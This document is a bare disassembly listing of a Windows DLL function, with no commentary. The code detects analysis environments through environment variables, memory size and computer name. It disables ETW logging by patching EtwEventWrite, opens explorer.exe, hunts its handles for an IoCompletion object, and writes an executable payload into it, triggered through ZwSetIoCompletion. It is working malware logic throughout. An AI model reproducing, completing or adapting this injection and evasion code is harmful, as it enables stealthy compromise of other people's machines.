mov rax, qword [0x180057c00]
movsxd rax, dword [rax + 4]
mov rcx, qword [rax + r11 + 0x48]
movzx eax, byte [rax + r11 + 0x58]
mov rdx, qword [rcx + 0x40]
mov r8, qword [rdx]
test r8, r8
je 0x18000f5db
mov r9, qword [rcx + 0x58]
mov r10d, dword [r9]
test r10d, r10d
jg 0x18000f590
movzx edx, al
mov rax, qword [rcx]
call qword [rax + 0x18]
cmp eax, 0xffffffff
lea r11, [0x180057c00]
jne 0x18000f5a0
jmp 0x18000f690
mov rax, qword [0x180057c00]
movsxd rax, dword [rax + 4]
xor esi, esi
mov rcx, qword [rax + r11 + 0x48]
mov rax, qword [rcx]
lea rdx, str.Unable_to_open_file:
mov r8d, 0x15
call qword [rax + 0x48]
cmp rax, 0x15
jne 0x18000f697
test rsi, rsi
lea r11, [0x180057c00]
jg 0x18000f64d
xor eax, eax
jmp 0x18000f6a3
dec r10d
mov dword [r9], r10d
lea rcx, [r8 + 1]
mov qword [rdx], rcx
mov byte [r8], al
lea rax, [rsi - 1]
cmp rsi, 1
mov rsi, rax
jbe 0x18000f62c
mov rax, qword [0x180057c00]
movsxd rax, dword [rax + 4]
mov rcx, qword [rax + r11 + 0x48]
movzx eax, byte [rax + r11 + 0x58]
mov rdx, qword [rcx + 0x40]
mov r8, qword [rdx]
test r8, r8
je 0x18000f67b
mov r9, qword [rcx + 0x58]
mov r10d, dword [r9]
test r10d, r10d
jg 0x18000f630
movzx edx, al
mov rax, qword [rcx]
call qword [rax + 0x18]
cmp eax, 0xffffffff
lea r11, [0x180057c00]
jne 0x18000f640
mov eax, 4
jmp 0x18000f6a3
mov eax, 4
lea r11, [0x180057c00]
mov dword [rbp + 0x318], eax
mov rax, qword [0x180057c00]
movsxd rax, dword [rax + 4]
mov qword [rax + r11 + 0x28], 0
mov rax, qword [0x180057c00]
movsxd rax, dword [rax + 4]
lea rdx, [0x180057c00]
mov r8d, dword [rbp + 0x318]
or r8d, dword [rax + rdx + 0x10]
xor ecx, ecx
cmp qword [rax + rdx + 0x48], 0
sete cl
shl ecx, 2
and r8d, 0x17
or r8d, ecx
mov dword [rax + rdx + 0x10], r8d
and r8d, dword [rax + rdx + 0x14]
jne 0x180010292
lea rcx, [rbp + 0x260]
call fcn.180006790
lea rcx, [rbp + 0x210]
call fcn.180006040
call fcn.1800063c0
mov rax, qword [rbp - 0x30]
movsxd rax, dword [rax + 4]
lea rcx, vtable.std::basic_ifstream_char__struct_std::char_traits_char__.0
mov qword [rbp + rax - 0x30], rcx
mov rax, qword [rbp - 0x30]
movsxd rax, dword [rax + 4]
lea ecx, [rax - 0xb0]
mov dword [rbp + rax - 0x34], ecx
lea rcx, [rbp - 0x20]
call fcn.180005ad0
lea rax, vtable.std::ios_base.0
mov qword [rbp + 0x80], rax
lea rcx, [rbp + 0x80]
call fcn.1800180bc
mov rax, qword [rbp + 0x228]
cmp rax, 0x10
jb 0x18000f7ab
mov rcx, qword [rbp + 0x210]
lea rdx, [rax + 1]
cmp rdx, 0x1000
jb 0x18000f7a6
mov r8, qword [rcx - 8]
add rcx, 0xfffffffffffffff8
sub rcx, r8
cmp rcx, 0x20
jae 0x180010223
add rax, 0x28
mov rdx, rax
mov rcx, r8
call fcn.180018fb4
mov rax, qword [rbp + 0x270]
test rax, rax
je 0x18000f7ee
lock dec dword [rax + 0x2c]
jne 0x18000f7ee
mov rcx, qword [rbp + 0x270]
test rcx, rcx
je 0x18000f7ee
nop dword [rax]
mov rax, qword [rcx]
mov rsi, qword [rcx + 0x10]
mov qword [rcx + 0x10], 0
mov edx, 1
call qword [rax]
mov rcx, rsi
test rsi, rsi
jne 0x18000f7d0
mov qword [rbp + 0x270], 0
mov rcx, qword [rbp + 0x290]
test rcx, rcx
je 0x18000f81e
mov rax, qword [rcx]
call qword [rax + 0x10]
test rax, rax
je 0x18000f81e
mov r8, qword [rax]
mov rcx, rax
mov edx, 1
call qword [r8]
mov rax, qword [rbp + 0x258]
cmp rax, 0x10
jb 0x18000f863
mov rcx, qword [rbp + 0x240]
lea rdx, [rax + 1]
cmp rdx, 0x1000
jb 0x18000f85e
mov r8, qword [rcx - 8]
add rcx, 0xfffffffffffffff8
sub rcx, r8
cmp rcx, 0x20
jae 0x180010223
add rax, 0x28
mov rdx, rax
mov rcx, r8
call fcn.180018fb4
lea r8, str.NUMBER_OF_PROCESSORS
lea rcx, [rbp + 0x270]
lea rdx, [rbp + 0x2f0]
call fcn.180023380
test eax, eax
jne 0x18000f8bb
mov rsi, qword [rbp + 0x270]
test rsi, rsi
je 0x18000f8bb
lea rdx, [0x18004c479]
mov rcx, rsi
call fcn.180025e80
test eax, eax
je 0x180010212
lea rdx, [0x18004c45f]
mov rcx, rsi
call fcn.180025e80
test eax, eax
je 0x18001021c
lea r8, str.SSLKEYLOGFILE
lea r15, [rbp + 0x240]
lea rdx, [rbp + 0x2f0]
mov rcx, r15
call fcn.180023380
test eax, eax
jne 0x18000f8f1
mov rax, qword [rbp + 0x240]
test rax, rax
je 0x18000f8f1
cmp byte [rax], 0
jne 0x18001021c
lea r8, str.ChocolateyInstall
lea rcx, [rbp + 0x210]
lea rdx, [rbp + 0x2f0]
call fcn.180023380
test eax, eax
jne 0x18000f924
mov rax, qword [rbp + 0x210]
test rax, rax
je 0x18000f924
cmp byte [rax], 0
jne 0x180010212
lea r8, str.COMPLUS_ZapDisable
lea rcx, [rbp + 0x260]
lea rdx, [rbp + 0x2f0]
call fcn.180023380
test eax, eax
jne 0x18000f957
mov rax, qword [rbp + 0x260]
test rax, rax
je 0x18000f957
cmp byte [rax], 0
jne 0x180010212
lea r8, str.YAKIT_HOME
lea rcx, [rbp - 0x40]
lea rdx, [rbp + 0x2f0]
call fcn.180023380
test eax, eax
jne 0x18000f984
mov rax, qword [rbp - 0x40]
test rax, rax
je 0x18000f984
cmp byte [rax], 0
jne 0x180010212
mov dword [rbp + 0x2a0], 0x40
lea rcx, [rbp + 0x2a0]
call qword [sym.imp.KERNEL32.dll_GlobalMemoryStatusEx]
test dword [rbp + 0x2ac], 0xfffff
je 0x18001021c
mov dword [rbp + 0x234], 0x100
lea rdx, [rbp - 0x30]
lea r8, [rbp + 0x234]
mov ecx, 5
call qword [sym.imp.KERNEL32.dll_GetComputerNameExA]
test eax, eax
je 0x18001021c
mov dword [rbp + 0x2f0], 0xc3c03348
mov dword [rbp + 0x240], 0
mov qword [rbp + 0x2a0], 4
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov rdi, rax
movabs rax, 0x6574697257746e
mov qword [rbp - 0x2a], rax
movabs rax, 0x746e657645777445
mov qword [rbp - 0x30], rax
lea rcx, [0x18004c97e]
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
lea rsi, [rbp - 0x30]
mov rcx, rax
mov rdx, rsi
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [rbp + 0x270], rax
mov qword [rsp + 0x20], r15
mov rbx, qword [sym.imp.KERNEL32.dll_VirtualProtectEx]
lea r14, [rbp + 0x270]
mov r12, r15
lea r15, [rbp + 0x2a0]
mov rcx, rdi
mov rdx, r14
mov r8, r15
mov r9d, 4
call rbx
mov rcx, qword [rbp + 0x270]
mov r8, qword [rbp + 0x2a0]
lea rdx, [rbp + 0x2f0]
call fcn.180010ec0
mov r9d, dword [rbp + 0x240]
mov qword [rsp + 0x20], r12
mov rcx, rdi
mov rdx, r14
mov r8, r15
call rbx
mov r8, qword [rbp + 0x2a0]
mov rdx, qword [rbp + 0x270]
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_FlushInstructionCache]
mov ecx, 2
xor edx, edx
call sub.KERNEL32.dll_CreateToolhelp32Snapshot
mov rdi, rax
lea rbx, [rbp - 0x30]
mov r8d, 0x238
mov rcx, rbx
xor edx, edx
call fcn.180010f90
mov dword [rbp - 0x30], 0x238
mov rcx, rdi
mov rdx, rbx
call sub.KERNEL32.dll_Process32FirstW
lea r14, [rbp - 4]
lea r15, str.explorer.exe
mov rbx, qword [sym.imp.KERNEL32.dll_lstrcmpW]
nop dword [rax + rax]
mov rcx, r14
mov rdx, r15
call rbx
test eax, eax
je 0x18000fb19
mov rcx, rdi
mov rdx, rsi
call sub.KERNEL32.dll_Process32NextW
jmp 0x18000fb00
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov r8d, dword [rbp - 0x28]
mov ecx, 0x1fffff
xor edx, edx
call qword [sym.imp.KERNEL32.dll_OpenProcess]
cmp rax, 0xffffffffffffffff
je 0x180010122
mov rsi, rax
mov dword [rbp + 0x240], 0
xorps xmm0, xmm0
movaps xmmword [rbp + 0x2a0], xmm0
mov qword [rbp + 0x2b0], 0
xor eax, eax
mov qword [rbp + 0x2e8], rax
xor r14d, r14d
xor r12d, r12d
lea r15, [rbp + 0x240]
jmp 0x18000fbad
add rbx, r14
mov r12, rbx
mov r9d, dword [rbp + 0x240]
mov qword [rsp + 0x20], r15
mov rcx, rsi
mov edx, 0x33
mov r8, r14
call sub.ntdll.dll_NtQueryInformationProcess
cmp eax, 0xc0000004
jne 0x18000fccc
mov ebx, dword [rbp + 0x240]
mov qword [rbp + 0x318], r12
sub r12, r14
mov rdi, rbx
sub rdi, r12
jb 0x18000fb80
jbe 0x18000fc10
mov r15, qword [rbp + 0x2e8]
mov qword [rbp + 0x298], r14
sub r15, r14
cmp r15, rbx
jae 0x18000fc1c
mov r14, r15
shr r14, 1
add r14, r15
cmp r14, rbx
cmovbe r14, rbx
cmp r14, 0x1000
jb 0x18000fc3d
lea rcx, [r14 + 0x27]
call fcn.180018f70
mov r13, rax
add r13, 0x27
and r13, 0xffffffffffffffe0
mov qword [r13 - 8], rax
jmp 0x18000fc48
mov r12, qword [rbp + 0x318]
jmp 0x18000fb86
mov rcx, qword [rbp + 0x318]
lea r12, [rcx + rdi]
xor edx, edx
mov r8, rdi
call fcn.180010f90
mov r14, qword [rbp + 0x298]
jmp 0x18000fcc0
mov rcx, r14
call fcn.180018f70
mov r13, rax
lea rcx, [r12 + r13]
xor edx, edx
mov r8, rdi
call fcn.180010f90
mov rcx, r13
mov rdi, qword [rbp + 0x298]
mov rdx, rdi
mov r8, r12
call fcn.18001bb60
test rdi, rdi
je 0x18000fcad
cmp r15, 0x1000
jb 0x18000fc9e
mov rcx, qword [rbp + 0x298]
mov rax, qword [rcx - 8]
add rcx, 0xfffffffffffffff8
sub rcx, rax
cmp rcx, 0x20
jae 0x180010223
add r15, 0x27
mov rcx, rax
jmp 0x18000fca5
mov rcx, qword [rbp + 0x298]
mov rdx, r15
call fcn.180018fb4
add rbx, r13
add r14, r13
mov qword [rbp + 0x2e8], r14
mov r14, r13
mov r12, rbx
lea r15, [rbp + 0x240]
jmp 0x18000fb86
test eax, eax
jne 0x18000ff45
mov qword [rbp + 0x2a8], r12
mov qword [rbp + 0x2a0], r14
mov rax, qword [rbp + 0x2e8]
mov qword [rbp + 0x2b0], rax
mov qword [rbp + 0x2f0], 0xffffffffffffffff
xorps xmm0, xmm0
movaps xmmword [rbp + 0x270], xmm0
mov qword [rbp + 0x280], 0
cmp qword [r14], 0
je 0x18000ff92
mov rax, qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov rbx, qword [sym.imp.KERNEL32.dll_DuplicateHandle]
xor r12d, r12d
xor r15d, r15d
xor r13d, r13d
xor ecx, ecx
mov qword [rbp + 0x298], r14
mov rdi, r12
mov r12, r13
mov r13, rcx
call rax
mov qword [rbp - 0x38], r13
lea rcx, [r13*4]
add rcx, r13
mov rdx, qword [r14 + rcx*8 + 0x10]
mov dword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0x1f0003
mov rcx, rsi
mov r8, rax
lea r9, [rbp + 0x2f0]
call rbx
test eax, eax
je 0x180010142
mov dword [rbp - 0x30], 0
mov r13, r12
mov r12, rdi
jmp 0x18000fdd3
add rbx, r15
mov r13, rbx
mov r9d, dword [rbp - 0x30]
mov rcx, qword [rbp + 0x2f0]
lea rax, [rbp - 0x30]
mov qword [rsp + 0x20], rax
mov edx, 2
mov r8, r15
call qword [sym.imp.ntdll.dll_NtQueryObject]
cmp eax, 0xc0000004
jne 0x18000fef8
mov ebx, dword [rbp - 0x30]
mov qword [rbp + 0x318], r13
sub r13, r15
mov rdi, rbx
sub rdi, r13
jb 0x18000fda0
jbe 0x18000fe40
mov qword [rbp + 0x2e8], r12
sub r12, r15
cmp r12, rbx
jae 0x18000fe4c
mov qword [rbp + 0x238], r15
mov r15, r12
shr r15, 1
add r15, r12
cmp r15, rbx
cmovbe r15, rbx
cmp r15, 0x1000
jb 0x18000fe6d
lea rcx, [r15 + 0x27]
call fcn.180018f70
mov r14, rax
add r14, 0x27
and r14, 0xffffffffffffffe0
mov qword [r14 - 8], rax
jmp 0x18000fe78
mov r13, qword [rbp + 0x318]
jmp 0x18000fda6
mov rcx, qword [rbp + 0x318]
lea r13, [rcx + rdi]
xor edx, edx
mov r8, rdi
call fcn.180010f90
mov r12, qword [rbp + 0x2e8]
jmp 0x18000fda6
mov rcx, r15
call fcn.180018f70
mov r14, rax
lea rcx, [r14 + r13]
xor edx, edx
mov r8, rdi
call fcn.180010f90
mov rcx, r14
mov rdi, qword [rbp + 0x238]
mov rdx, rdi
mov r8, r13
call fcn.18001bb60
test rdi, rdi
je 0x18000fedd
cmp r12, 0x1000
jb 0x18000fece
mov rcx, qword [rbp + 0x238]
mov rax, qword [rcx - 8]
add rcx, 0xfffffffffffffff8
sub rcx, rax
cmp rcx, 0x20
jae 0x180010223
add r12, 0x27
mov rcx, rax
jmp 0x18000fed5
mov rcx, qword [rbp + 0x238]
mov rdx, r12
call fcn.180018fb4
add rbx, r14
add r15, r14
mov r12, r15
mov r15, r14
mov r13, rbx
mov r14, qword [rbp + 0x298]
jmp 0x18000fda6
test eax, eax
jne 0x18000ff78
mov qword [rbp + 0x278], r13
mov qword [rbp + 0x270], r15
mov qword [rbp + 0x280], r12
mov rdx, qword [r15 + 8]
lea rcx, str.IoCompletion
call fcn.180026670
test eax, eax
je 0x18000ff98
mov rcx, qword [rbp - 0x38]
inc rcx
cmp qword [r14], rcx
mov rax, qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov rbx, qword [sym.imp.KERNEL32.dll_DuplicateHandle]
ja 0x18000fd3a
jmp 0x18000ff98
mov qword [rbp + 0x2a8], r12
mov qword [rbp + 0x2a0], r14
mov rax, qword [rbp + 0x2e8]
mov qword [rbp + 0x2b0], rax
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
test r14, r14
jne 0x1800100eb
jmp 0x180010122
mov qword [rbp + 0x278], r13
mov qword [rbp + 0x270], r15
mov qword [rbp + 0x280], r12
jmp 0x18001009e
xor r12d, r12d
xor r15d, r15d
cmp qword [rbp + 0x2f0], 0xffffffffffffffff
je 0x18001009e
mov dword [rsp + 0x20], 0x40
mov r8d, 0x3a1
mov rcx, rsi
xor edx, edx
mov r9d, 0x3000
call qword [sym.imp.KERNEL32.dll_VirtualAllocEx]
test rax, rax
je 0x180010082
mov rdi, rax
mov qword [rsp + 0x20], 0
lea r8, [0x180056cf0]
mov r9d, 0x3a1
mov rcx, rsi
mov rdx, rax
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
test eax, eax
je 0x180010082
xorps xmm0, xmm0
movaps xmmword [rbp], xmm0
movaps xmmword [rbp - 0x10], xmm0
movaps xmmword [rbp - 0x20], xmm0
movaps xmmword [rbp - 0x30], xmm0
mov qword [rbp + 0x10], 0
mov qword [rbp + 8], rdi
mov dword [rsp + 0x20], 4
mov r8d, 0x48
mov rcx, rsi
xor edx, edx
mov r9d, 0x3000
call qword [sym.imp.KERNEL32.dll_VirtualAllocEx]
test rax, rax
je 0x180010082
mov rdi, rax
mov qword [rsp + 0x20], 0
lea r8, [rbp - 0x30]
mov r9d, 0x48
mov rcx, rsi
mov rdx, rax
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
test eax, eax
je 0x180010082
mov rcx, qword [rbp + 0x2f0]
mov qword [rsp + 0x20], 0
mov rdx, rdi
xor r8d, r8d
xor r9d, r9d
call sub.ntdll.dll_ZwSetIoCompletion
mov rdi, qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, rsi
call rdi
mov rcx, qword [rbp + 0x2f0]
call rdi
test r15, r15
jne 0x1800100ac
jmp 0x1800100df
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
test r15, r15
je 0x1800100df
sub r12, r15
cmp r12, 0x1000
jb 0x1800100d4
mov rax, qword [r15 - 8]
add r15, 0xfffffffffffffff8
sub r15, rax
cmp r15, 0x20
jae 0x180010223
add r12, 0x27
mov r15, rax
mov rcx, r15
mov rdx, r12
call fcn.180018fb4
mov r14, qword [rbp + 0x2a0]
test r14, r14
je 0x180010122
mov rdx, qword [rbp + 0x2b0]
sub rdx, r14
cmp rdx, 0x1000
jb 0x18001011a
mov rax, qword [r14 - 8]
add r14, 0xfffffffffffffff8
sub r14, rax
cmp r14, 0x20
jae 0x180010223
add rdx, 0x27
mov r14, rax
mov rcx, r14
call fcn.180018fb4
mov eax, 1
movaps xmm6, xmmword [rbp + 0x330]
add rsp, 0x3c8
pop rbx
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
pop rbp
ret
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov r12, rdi
test r15, r15
jne 0x1800100ac
jmp 0x1800100df
test sil, 2
lea rax, [0x18004b73a]
lea rcx, [0x18004b724]
cmove rcx, rax
test sil, 4
lea rsi, [0x18004b74f]
cmove rsi, rcx
lea rdi, [rbp + 0x260]
mov rcx, rdi
mov edx, 1
call fcn.180005460
lea rcx, [rbp + 0x2a0]
mov rdx, rsi
mov r8, rdi
call fcn.1800054e0
lea rdx, [0x180053c28]
lea rcx, [rbp + 0x2a0]
call fcn.18001a73c
test al, 2
lea rax, [0x18004b73a]
lea rdx, [0x18004b724]
cmove rdx, rax
test cl, 4
lea rsi, [0x18004b74f]
cmove rsi, rdx
lea rdi, [rbp + 0x260]
mov rcx, rdi
mov edx, 1
call fcn.180005460
lea rcx, [rbp + 0x2a0]
mov rdx, rsi
mov r8, rdi
call fcn.1800054e0
lea rdx, [0x180053c28]
lea rcx, [rbp + 0x2a0]
call fcn.18001a73c
mov ecx, 1
call fcn.1800228f8
xor ecx, ecx
call fcn.1800228f8
call fcn.180023f34
call fcn.180006a40
mov ecx, 0xe
call fcn.180018344
test cl, 2
lea rcx, [0x18004b73a]
lea rdx, [0x18004b724]
cmove rdx, rcx
test al, 4
lea rsi, [0x18004b74f]
cmove rsi, rdx
lea rdi, [rbp + 0x2f0]
mov rcx, rdi
mov edx, 1
call fcn.180005460
lea rcx, [rbp + 0x2a0]
mov rdx, rsi
mov r8, rdi
call fcn.1800054e0
lea rdx, [0x180053c28]
lea rcx, [rbp + 0x2a0]
call fcn.18001a73c
mov edx, r8d
test dl, 2
lea rax, [0x18004b73a]
lea rcx, [0x18004b724]
cmove rcx, rax
test dl, 4
lea rsi, [0x18004b74f]
cmove rsi, rcx
lea rdi, [rbp + 0x2f0]
mov rcx, rdi
mov edx, 1
call fcn.180005460
lea rcx, [rbp + 0x2a0]
mov rdx, rsi
mov r8, rdi
call fcn.1800054e0
lea rdx, [0x180053c28]
lea rcx, [rbp + 0x2a0]
call fcn.18001a73c
test cl, 2
lea rcx, [0x18004b73a]
lea rdx, [0x18004b724]
cmove rdx, rcx
test al, 4
lea rsi, [0x18004b74f]
cmove rsi, rdx
lea rdi, [rbp + 0x260]
mov rcx, rdi
mov edx, 1
call fcn.180005460
lea rcx, [rbp + 0x2a0]
mov rdx, rsi
mov r8, rdi
call fcn.1800054e0
lea rdx, [0x180053c28]
lea rcx, [rbp + 0x2a0]
call fcn.18001a73c
call fcn.180006a40
int3